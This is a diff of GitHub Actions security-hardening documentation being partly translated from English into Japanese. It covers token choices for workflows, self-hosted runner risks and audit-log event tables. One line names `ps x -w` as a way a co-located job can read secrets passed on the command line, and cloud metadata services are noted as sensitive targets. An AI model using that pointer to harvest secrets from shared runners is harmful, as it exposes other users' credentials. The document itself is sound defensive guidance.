+[{% data variables.product.prodname_dotcom %} ロードマップ](https://github.com/github/roadmap/issues/74)では、{% data variables.product.product_name %} 内のリポジトリ間アクセスを可能にするフローをサポートする計画がありますが、この機能はまだサポートされていません。 現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に {% data variables.product.prodname_dotcom %} 認証トークンまたは SSH キーをシークレットとして配置することです。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。
 
-This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
+次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。
 
-1. **The `GITHUB_TOKEN`**
-    -  This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
-    - The `GITHUB_TOKEN` should be used whenever possible.
-2. **Repository deploy key**
-    - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)."
-    - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
-3. **{% data variables.product.prodname_github_app %} tokens**
-    - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories.
-4. **Personal access tokens**
-    - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging.
-    - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
-5. **SSH keys on a user account**
-    - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership.  This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
+1. **`GITHUB_TOKEN`**
+    -  This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しい情報については「[GITHUB_TOKENでの認証](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)」を参照してください。
+    - 可能な場合は、常に `GITHUB_TOKEN` を使用する必要があります。
+2. **リポジトリのデプロイキー**
+    - デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しい情報については、「[デプロイキーを管理する](/developers/overview/managing-deploy-keys#deploy-keys)」を参照してください。
+    - デプロイキーは Git を使用してリポジトリに複製およびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
+3. **{% data variables.product.prodname_github_app %} トークン**
+    - {% data variables.product.prodname_github_apps %} は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で {% data variables.product.prodname_github_app %} を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。
+4. **個人アクセストークン**
+    - 自分のアカウントから個人アクセストークンを使用しないでください。 これらのトークンは、アクセスできる Organization 内のすべてのリポジトリ、およびユーザアカウントのすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 さらに、後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。
+    - 個人アクセストークンを使用する場合は、ワークフローに必要な特定のリポジトリへのアクセスのみが許可される新しいアカウント用に生成されたものを使用してください。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
+5. **ユーザアカウントの SSH キー**
+    - ワークフローでは、ユーザアカウントの SSH キーを使用しないでください。 これらは、個人アクセストークンと同様に、すべての個人リポジトリと、Organization のメンバーシップを通じてアクセスできるすべてのリポジトリに読み取り/書き込み権限を付与します。  これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。
 
-## Hardening for self-hosted runners
+## セルフホストランナーを強化する
 
 {% ifversion fpt %}
-**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
+**{% data variables.product.prodname_dotcom %} でホストされた**ランナーは、一過性でクリーンな隔離された仮想マシン内でコードを実行します。つまり、この環境を永続的に危険にさらしたり、ブートストラッププロセス中にこの環境に置かれた以上の情報にアクセスしたりする方法はありません。
 {% endif %}
 
 {% ifversion fpt %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
 
-{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
+{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した場合でも同じリスクの影響を受けやすくなります。
 
-When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、{% data variables.product.product_name %}は同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 詳しい情報については、「[グループを使用したセルフホストランナーへのアクセスを管理する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)」を参照してください。
 
-You should also consider the environment of the self-hosted runner machines:
-- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
-- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
+次のように、セルフホストランナーマシンの環境も考慮する必要があります。
+- セルフホストランナーとして設定されたマシンにはどのような機密情報が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。
+- マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情報量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてください。
 
-Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
+中には、それぞれのジョブの実行後にセルフホストランナーを自動的に破棄するようなシステムを実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブだけを実行するという保証がないためです。 Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
 
 ### Planning your management strategy for self-hosted runners
 
 A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
 
 **Centralised management:**
-  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. 
+  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
   - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
 
 **De-centralised management:**
-  - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. 
+  - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
   - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
@@ -289,80 +289,78 @@ If you are using {% data variables.product.prodname_actions %} to deploy to a cl
 
 {% endif %}
 
-## Auditing {% data variables.product.prodname_actions %} events
+## {% data variables.product.prodname_actions %}イベントの監査
 
-You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action.
+Organizationの管理タスクをモニタするために、監査ログを使用できます。 監査ログは、アクションの種類、実行された時刻、実行したユーザアカウントを記録します。
 
-For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets:
-  ![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+たとえば、監査ログを使用して、Organization のシークレットへの変更を追跡する `org.update_actions_secret` イベントを追跡できます。 ![監査ログのエントリ](/assets/images/help/repository/audit-log-entries.png)
 
-The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see
-"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)."
+以下の表は、監査ログにある{% data variables.product.prodname_actions %}のイベントを示します。 監査ログの使用に関する詳しい情報については、「[Organization の監査ログのレビュー](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)」を参照してください。
 
 {% ifversion fpt or ghec %}
-### Events for environments
+### 環境のイベント
 
-| Action | Description
-|------------------|-------------------
-| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
-| `environment.remove_actions_secret` |  Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| アクション                               | 説明                                                                                                                   |
+| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
+| `environment.create_actions_secret` | シークレットが環境で作成されたときにトリガーされます。 詳しい情報については、「[環境のシークレット](/actions/reference/environments#environment-secrets)」を参照してください。  |
+| `environment.delete`                | 環境が削除されるとトリガーされます。 詳しい情報については、「[環境を削除する](/actions/reference/environments#deleting-an-environment)」を参照してください。         |
+| `environment.remove_actions_secret` | シークレットが環境で削除されたときにトリガーされます。 詳しい情報については、「[環境のシークレット](/actions/reference/environments#environment-secrets)」を参照してください。  |
+| `environment.update_actions_secret` | 環境内のシークレットが更新されたときにトリガーされます。 詳しい情報については、「[環境のシークレット](/actions/reference/environments#environment-secrets)」を参照してください。 |
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-### Events for configuration changes
-| Action | Description
-|------------------|-------------------
-| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
+### 設定変更のイベント
+| アクション                  | 説明                                                                                                                                                                                                            |
+| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `repo.actions_enabled` | リポジトリに対して {% data variables.product.prodname_actions %} が有効化されたときにトリガーされます。 UI を使用して表示できます。 このイベントは、REST API を使用して Audit log にアクセスした場合には表示されません。 詳しい情報については、「[REST API を使用する](#using-the-rest-api)」を参照してください。 |
 {% endif %}
 
-### Events for secret management
-| Action | Description
-|------------------|-------------------
-| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
-| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
-| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
-| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
+### シークレット管理のイベント
+| アクション                        | 説明                                                                                                                                                                                                                                     |
+| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `org.create_actions_secret`  | Organization に対して {% data variables.product.prodname_actions %} シークレットが作成されたときにトリガーされます。 詳しい情報については、「[Organization の暗号化されたシークレットを作成する](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)」を参照してください。 |
+| `org.remove_actions_secret`  | {% data variables.product.prodname_actions %} シークレットが削除されたときにトリガーされます。                                                                                                                                                                 |
+| `org.update_actions_secret`  | {% data variables.product.prodname_actions %} シークレットが更新されたときにトリガーされます。                                                                                                                                                                 |
+| `repo.create_actions_secret` | リポジトリに対して {% data variables.product.prodname_actions %} シークレットが作成されたときにトリガーされます。 詳しい情報については、「[リポジトリに対して暗号化されたシークレットを作成する](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)」を参照してください。                 |
+| `repo.remove_actions_secret` | {% data variables.product.prodname_actions %} シークレットが削除されたときにトリガーされます。                                                                                                                                                                 |
+| `repo.update_actions_secret` | {% data variables.product.prodname_actions %} シークレットが更新されたときにトリガーされます。                                                                                                                                                                 |
 
-### Events for self-hosted runners
-| Action | Description
-|------------------|-------------------
-| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)."
-| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed.
+### セルフホストランナーのイベント
+| アクション                                     | 説明                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.register_self_hosted_runner`  | 新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については「[Enterpriseへのセルフホストランナーの追加](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)」を参照してください。                                                                                                                                                                                                                        |
+| `enterprise.remove_self_hosted_runner`    | セルフホストランナーが削除されたときにトリガーされます。                                                                                                                                                                                                                                                                                                                                                                                        |
 | `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
-| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
-| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
-| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).
-| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
-| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
-| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+| `enterprise.self_hosted_runner_online`    | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."                                                                     |
+| `enterprise.self_hosted_runner_offline`   | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
+| `enterprise.self_hosted_runner_updated`   | ランナーアプリケーションが更新されたときにトリガーされます。 REST API と UI を使用して表示できます。 Audit log を JSON データまたは CSV ファイルとしてエクスポートする場合、このイベントは含まれません。 詳しい情報については、「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)」および「[Organization の Audit log をレビューする](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)」を参照してください。 |
+| `org.register_self_hosted_runner`         | 新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「[Organization へのセルフホストランナーの追加](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)」を参照してください。                                                                                                                                                                                                                  |
+| `org.remove_self_hosted_runner`           | セルフホストランナーが削除されたときにトリガーされます。 詳しい情報については、「[Organization からランナーを削除する](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)」を参照してください。                                                                                                                                                                                                                               |
+| `org.runner_group_runners_updated`        | ランナーグループのメンバーリストが更新されたときにトリガーされます。 詳しい情報については「[Organizationのグループ内にセルフホストランナーをセットする](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)」を参照してください。                                                                                                                                                                                                                                      |
+| `org.runner_group_updated`                | セルフホストランナーグループの設定が変更されたときにトリガーされます。 For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `org.self_hosted_runner_online`           | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."                                                                     |
+| `org.self_hosted_runner_offline`          | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
+| `org.self_hosted_runner_updated`          | ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)」を参照してください。                                                                                                                                                                                                   |
+| `repo.register_self_hosted_runner`        | 新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「[リポジトリにセルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)」を参照してください。                                                                                                                                                                                                                            |
+| `repo.remove_self_hosted_runner`          | セルフホストランナーが削除されたときにトリガーされます。 For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `repo.self_hosted_runner_online`          | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."                                                                     |
+| `repo.self_hosted_runner_offline`         | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
+| `repo.self_hosted_runner_updated`         | ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)」を参照してください。                                                                                                                                                                                                   |
 
-### Events for self-hosted runner groups
-| Action | Description
-|------------------|-------------------
-| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)."
-| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group.
-| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
-| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+### セルフホストランナーグループのイベント
+| アクション                                    | 説明                                                                                                                                                                                                                                         |
+| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `enterprise.runner_group_created`        | セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「[Enterprise のセルフホストランナーグループを作成する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)」を参照してください。     |
+| `enterprise.runner_group_removed`        | セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループの削除](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)」を参照してください。                                      |
+| `enterprise.runner_group_runner_removed` | セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。                                                                                                                                                                                           |
+| `enterprise.runner_group_runners_added`  | セルフホストランナーがグループに追加されたときにトリガーされます。 詳しい情報については、「[セルフホストランナーをグループに移動する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)」を参照してください。                              |
+| `enterprise.runner_group_updated`        | セルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループのアクセスポリシーの変更](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)」を参照してください。     |
